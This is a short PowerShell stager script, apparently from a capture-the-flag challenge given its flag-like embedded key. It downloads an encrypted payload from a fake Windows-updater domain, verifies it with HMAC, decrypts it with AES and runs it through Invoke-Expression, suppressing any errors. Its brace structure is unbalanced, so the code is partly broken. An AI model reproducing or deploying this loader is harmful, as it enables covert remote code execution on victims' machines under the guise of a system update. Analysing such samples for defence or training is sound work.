function BytesEqual([byte[]]$a,[byte[]]$b){ if ($a.Length -ne $b.Length) { return $false } $d=0; for($i=0;$i -lt $a.Length;$i++){ $d = $d -bor ($a[$i] -bxor $b[$i]) }; return ($d -eq 0) try { $key = [Convert]::FromBase64String("TkMze2M0bl9uM3Yzcl9yM20zbWIzcl9zdDNnMF92c19zdDRnM3JfczBfMV9tNGRlXzRfc3QzZzAtc3Q0ZzNyfQ==") $aesKey = [byte[]]($key[0..31]) $macKey = [byte[]]($key[32..63]) $wc = New-Object Net.WebClient try { $blob = $wc.DownloadData("http://w1ndowsl1veupdater.nc3/dl/ l04d3r.bin") } finally { $wc.Dispose() $iv = New-Object byte[] 16 [Array]::Copy($blob, 0, $iv, 0, 16) $tag = New-Object byte[] 32 [Array]::Copy($blob, $blob.Length - 32, $tag, 0, 32) $ctLen = $blob.Length - 16 - 32 $ct = New-Object byte[] $ctLen [Array]::Copy($blob,16,$ct,0,$ctLen) $hmac = [System.Security.Cryptography.HMACSHA256]::new($macKey) $data = New-Object byte[] ($iv.Length + $ct.Length) [Array]::Copy($iv,0,$data,0,$iv.Length) [Array]::Copy($ct,0,$data,$iv.Length,$ct.Length) $calc = $hmac.ComputeHash($data) if (-not (BytesEqual $calc $tag)) { exit 0 } $aes = [Security.Cryptography.Aes]::Create() $aes.Mode='CBC'; $aes.Padding='PKCS7'; $aes.KeySize=256; $aes.BlockSize=128 $aes.Key=$aesKey; $aes.IV=$iv $dec = $aes.CreateDecryptor() $pt = $dec.TransformFinalBlock($ct, 0, $ct.Length) Invoke-Expression ([Text.Encoding]::UTF8.GetString($pt)) } catch {} }